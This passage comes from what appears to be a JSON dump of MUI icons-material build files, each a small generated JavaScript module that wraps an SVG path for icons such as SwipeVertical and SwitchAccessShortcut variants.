    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 2h5v5H4.5V4.09c-1.86 2.11-3 4.88-3 7.91s1.14 5.79 3 7.91V17H6v5H1v-1.5h2.02C1.13 18.18 0 15.22 0 12s1.13-6.18 3.02-8.5H1zm19.22 8-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\"\n}), 'SwipeVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 2h5v5H4.5V4.09c-1.86 2.11-3 4.88-3 7.91s1.14 5.79 3 7.91V17H6v5H1v-1.5h2.02C1.13 18.18 0 15.22 0 12s1.13-6.18 3.02-8.5H1zm19.22 8-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\"\n}), 'SwipeVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M0 12c0 3.22 1.13 6.18 3.02 8.5H1.75c-.41 0-.75.34-.75.75s.34.75.75.75H5c.55 0 1-.45 1-1v-3.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v2.16c-1.86-2.11-3-4.88-3-7.91s1.14-5.79 3-7.91v2.16c0 .41.34.75.75.75S6 6.66 6 6.25V3c0-.55-.45-1-1-1H1.75c-.41 0-.75.34-.75.75s.34.75.75.75h1.27C1.13 5.82 0 8.78 0 12m8.83 7.1c-.26-.6.09-1.28.73-1.41l3.58-.71-4.35-9.81c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49.84-.37c.28-.13.59-.18.9-.17l4.56.21c.86.04 1.6.63 1.83 1.45l1.23 4.33c.27.96-.2 1.97-1.11 2.37l-5.63 2.49c-.48.21-1.26.33-1.76.14l-5.45-2.27c-.24-.09-.44-.28-.54-.52\"\n}), 'SwipeVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M0 12c0 3.22 1.13 6.18 3.02 8.5H1.75c-.41 0-.75.34-.75.75s.34.75.75.75H5c.55 0 1-.45 1-1v-3.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v2.16c-1.86-2.11-3-4.88-3-7.91s1.14-5.79 3-7.91v2.16c0 .41.34.75.75.75S6 6.66 6 6.25V3c0-.55-.45-1-1-1H1.75c-.41 0-.75.34-.75.75s.34.75.75.75h1.27C1.13 5.82 0 8.78 0 12m8.83 7.1c-.26-.6.09-1.28.73-1.41l3.58-.71-4.35-9.81c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49.84-.37c.28-.13.59-.18.9-.17l4.56.21c.86.04 1.6.63 1.83 1.45l1.23 4.33c.27.96-.2 1.97-1.11 2.37l-5.63 2.49c-.48.21-1.26.33-1.76.14l-5.45-2.27c-.24-.09-.44-.28-.54-.52\"\n}), 'SwipeVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 3.5h2.02C1.13 5.82 0 8.78 0 12s1.13 6.18 3.02 8.5H1V22h5v-5H4.5v2.91c-1.86-2.11-3-4.88-3-7.91s1.14-5.79 3-7.91V7H6V2H1zm20.71 7.68 2.09 7.39-8.23 3.65-6.84-2.85.61-1.62 3.8-.75-4.35-9.83c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49 1.26-.56z\"\n}), 'SwipeVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 3.5h2.02C1.13 5.82 0 8.78 0 12s1.13 6.18 3.02 8.5H1V22h5v-5H4.5v2.91c-1.86-2.11-3-4.88-3-7.91s1.14-5.79 3-7.91V7H6V2H1zm20.71 7.68 2.09 7.39-8.23 3.65-6.84-2.85.61-1.62 3.8-.75-4.35-9.83c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49 1.26-.56z\"\n}), 'SwipeVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.49 17.34 15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 2h5v5H4.5V4.09c-1.86 2.11-3 4.88-3 7.91s1.14 5.79 3 7.91V17H6v5H1v-1.5h2.02C1.13 18.18 0 15.22 0 12s1.13-6.18 3.02-8.5H1zm19.22 8-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\"\n}, \"1\")], 'SwipeVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeVerticalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.49 17.34 15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 2h5v5H4.5V4.09c-1.86 2.11-3 4.88-3 7.91s1.14 5.79 3 7.91V17H6v5H1v-1.5h2.02C1.13 18.18 0 15.22 0 12s1.13-6.18 3.02-8.5H1zm19.22 8-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\"\n}, \"1\")], 'SwipeVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcut.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcut');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcut.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcut');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 14h-2v-2h-2v2h-2v2h2v2h2v-2h2zM7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 14h-2v-2h-2v2h-2v2h2v2h2v-2h2zM7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-3.09 1.38-5.94 3.44-8H12V2h7v7h-2V5.28c-1.8 1.74-3 4.2-3 6.72 0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10m12 2h-2v-2h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'SwitchAccessShortcutAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-3.09 1.38-5.94 3.44-8H12V2h7v7h-2V5.28c-1.8 1.74-3 4.2-3 6.72 0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10m12 2h-2v-2h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'SwitchAccessShortcutAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 18c.55 0 1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM19 20.41c0 .78-.84 1.25-1.51.86C14.21 19.36 12 15.79 12 12c0-2.73 1.08-5.27 2.75-7.25l-1.9-1.9c-.31-.31-.09-.85.36-.85h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35l-1.97-1.97C14.84 7.82 14 9.88 14 12c0 3.13 1.86 6.01 4.51 7.55.3.18.49.51.49.86\"\n}), 'SwitchAccessShortcutAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 18c.55 0 1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM19 20.41c0 .78-.84 1.25-1.51.86C14.21 19.36 12 15.79 12 12c0-2.73 1.08-5.27 2.75-7.25l-1.9-1.9c-.31-.31-.09-.85.36-.85h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35l-1.97-1.97C14.84 7.82 14 9.88 14 12c0 3.13 1.86 6.01 4.51 7.55.3.18.49.51.49.86\"\n}), 'SwitchAccessShortcutAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 14h-2v-2h-2v2h-2v2h2v2h2v-2h2zM7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 14h-2v-2h-2v2h-2v2h2v2h2v-2h2zM7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 14h-2v-2h-2v2h-2v2h2v2h2v-2h2zM7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 14h-2v-2h-2v2h-2v2h2v2h2v-2h2zM7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-3.09 1.38-5.94 3.44-8H12V2h7v7h-2V5.28c-1.8 1.74-3 4.2-3 6.72 0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-3.09 1.38-5.94 3.44-8H12V2h7v7h-2V5.28c-1.8 1.74-3 4.2-3 6.72 0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM19 20.41c0 .78-.84 1.25-1.51.86C14.21 19.36 12 15.79 12 12c0-2.73 1.08-5.27 2.75-7.25l-1.9-1.9c-.31-.31-.09-.85.36-.85h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35l-1.97-1.97C14.84 7.82 14 9.88 14 12c0 3.13 1.86 6.01 4.51 7.55.3.18.49.51.49.86\"\n}), 'SwitchAccessShortcutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM19 20.41c0 .78-.84 1.25-1.51.86C14.21 19.36 12 15.79 12 12c0-2.73 1.08-5.27 2.75-7.25l-1.9-1.9c-.31-.31-.09-.85.36-.85h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35l-1.97-1.97C14.84 7.82 14 9.88 14 12c0 3.13 1.86 6.01 4.51 7.55.3.18.49.51.49.86\"\n}), 'SwitchAccessShortcutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutTwoTone.js",
